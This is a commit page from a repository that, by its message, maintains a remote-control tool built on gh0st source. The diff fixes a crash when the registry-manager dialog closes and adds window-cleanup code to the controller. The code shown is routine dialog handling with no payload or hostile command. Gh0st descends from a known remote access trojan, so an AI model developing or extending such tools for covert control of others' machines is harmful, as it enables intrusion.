修复注册表管理窗口关闭时崩溃的缺陷

1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap
modified after it was freed"问题。
This commit is contained in:
yuanyuanxiang
2019-01-12 18:21:42 +08:00
parent 135a3439d1
commit 681ab9bd82
30 changed files with 913 additions and 562 deletions

View File

@@ -27,6 +27,7 @@
#define UM_ICONNOTIFY WM_USER+100
std::vector<CFileManagerDlg *> v_FileDlg;
std::vector<CRegisterDlg *> v_RegDlg;
enum
{
@@ -128,6 +129,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/)
CMy2015RemoteDlg::~CMy2015RemoteDlg()
{
Sleep(200);
EnterCriticalSection(&m_cs);
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
iter != v_FileDlg.end(); ++iter)
@@ -138,6 +140,15 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
Sleep(1);
delete cur;
}
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
iter != v_RegDlg.end(); ++iter)
{
CRegisterDlg *cur = *iter;
::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0);
while (false == cur->m_bIsClosed)
Sleep(1);
delete cur;
}
LeaveCriticalSection(&m_cs);
DeleteCriticalSection(&m_cs);
}
@@ -187,6 +198,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)
ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
ON_WM_HELPINFO()
END_MESSAGE_MAP()
@@ -1088,7 +1100,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
case FILEMANAGER_DLG:
{
CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg;
delete Dlg;
::SendMessage(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0);
//delete Dlg; <20><><EFBFBD><EFBFBD><E2B4A6>
break;
}
case REGISTER_DLG:
@@ -1243,6 +1256,21 @@ LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
ContextObject->v1 = REGISTER_DLG;
ContextObject->hDlg = Dlg;
EnterCriticalSection(&m_cs);
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
iter != v_RegDlg.end(); )
{
CRegisterDlg *cur = *iter;
if (cur->m_bIsClosed)
{
delete cur;
iter = v_RegDlg.erase(iter);
}else{
++iter;
}
}
v_RegDlg.push_back(Dlg);
LeaveCriticalSection(&m_cs);
return 0;
}
@@ -1262,3 +1290,21 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{
MessageBox("Copyleft (c) FTU 2019", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
return TRUE;
}
BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN)
{
return TRUE;
}
return CDialogEx::PreTranslateMessage(pMsg);
}